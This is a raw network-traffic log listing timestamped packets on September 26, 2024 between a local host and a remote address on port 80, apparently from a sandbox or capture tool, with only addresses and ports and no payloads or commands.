Sep 26, 2024 15:11:10.005923986 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.005985022 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.005997896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.006010056 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.006021976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.006032944 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.006035089 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.006050110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.006057978 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.006062031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.006072998 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.006099939 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055541039 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055568933 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055582047 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055594921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055607080 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055619001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055624008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055634022 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055644989 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055668116 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055681944 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055692911 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055706024 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055725098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055737019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055743933 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055748940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055789948 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055851936 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055864096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055885077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055896044 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055907965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055908918 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055917978 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.055922031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.055953026 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.056005955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.056020021 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.056032896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.056045055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.056049109 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.056057930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.056076050 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.056106091 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058006048 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058032990 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058043957 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058094025 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058120966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058134079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058146000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058156967 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058170080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058197975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058238983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058250904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058263063 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058284044 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058309078 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058365107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058376074 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058387995 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058399916 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058410883 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058414936 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058460951 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058502913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058514118 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058526039 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058538914 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058549881 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058558941 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058568954 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058590889 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058592081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058605909 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058623075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058634043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058645964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058655977 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058660030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058681011 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058691978 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058754921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058824062 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058835030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058847904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058860064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058866024 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058873892 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.058882952 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.058929920 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059009075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059021950 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059032917 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059045076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059056997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059058905 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059071064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059082031 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059109926 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059205055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059217930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059230089 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059238911 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059251070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059262991 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059276104 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059278965 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059303999 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059340000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059350967 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059381008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059484959 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059497118 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059509039 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059519053 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059530020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059531927 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059535980 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059545994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059559107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059567928 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059572935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059617996 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059737921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059751034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059762955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059775114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059786081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059792042 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059823990 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059927940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059942007 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059953928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059967041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059978008 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.059979916 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.059990883 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060004950 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060014963 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060051918 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060060024 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060204029 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060241938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060255051 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060266018 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060277939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060290098 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060295105 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060303926 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060316086 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060317039 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060328960 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060339928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060353041 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060353994 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060364962 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060379028 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060380936 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.060390949 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060417891 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.060559034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091552973 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091587067 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091598034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091609955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091622114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091633081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091646910 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091661930 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.091710091 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.091725111 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091737986 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091748953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091762066 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091773987 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091790915 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.091805935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091819048 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091825008 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.091833115 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.091846943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.091892958 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142081976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142101049 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142113924 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142164946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142175913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142188072 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142187119 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142201900 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142220974 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142220974 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142390013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142401934 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142414093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142426014 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142463923 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142463923 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142535925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142549038 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142560005 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142570972 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142585039 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142586946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142601013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142628908 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142628908 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142631054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142644882 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142657042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142666101 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.142679930 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.142729998 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144334078 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144386053 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144391060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144403934 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144448996 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144517899 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144531012 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144542933 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144553900 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144565105 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144577980 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144596100 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144639969 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144651890 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144665003 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144676924 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144689083 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144701004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144733906 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144733906 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144777060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144788980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144800901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144813061 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144824028 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144825935 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144825935 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144845009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144856930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.144865036 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144905090 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.144975901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145061016 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145071983 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145083904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145095110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145107031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145112038 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145117998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145131111 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145143986 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145167112 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145167112 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145188093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145298004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145311117 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145322084 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145335913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145348072 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145359993 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145371914 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145380020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145418882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145418882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145471096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145481110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145526886 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145643950 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145656109 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145667076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145678043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145689011 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145695925 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145699978 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145714045 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145725965 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145740032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145751953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145752907 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145752907 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145764112 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145765066 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145804882 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.145977974 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.145989895 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146004915 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146049976 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146049976 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146050930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146066904 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146079063 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146090031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146101952 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146115065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146131039 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146131039 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146181107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146193027 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146229982 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146229982 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146333933 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146346092 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146358013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146375895 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146389961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146392107 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146405935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146415949 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146419048 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146431923 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146442890 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146454096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146461964 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146461964 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146466017 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146478891 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146506071 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146527052 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146704912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146718025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146729946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146739960 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146743059 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146753073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146764994 CEST	80	49727	172.86.66.70	192.168.2.12
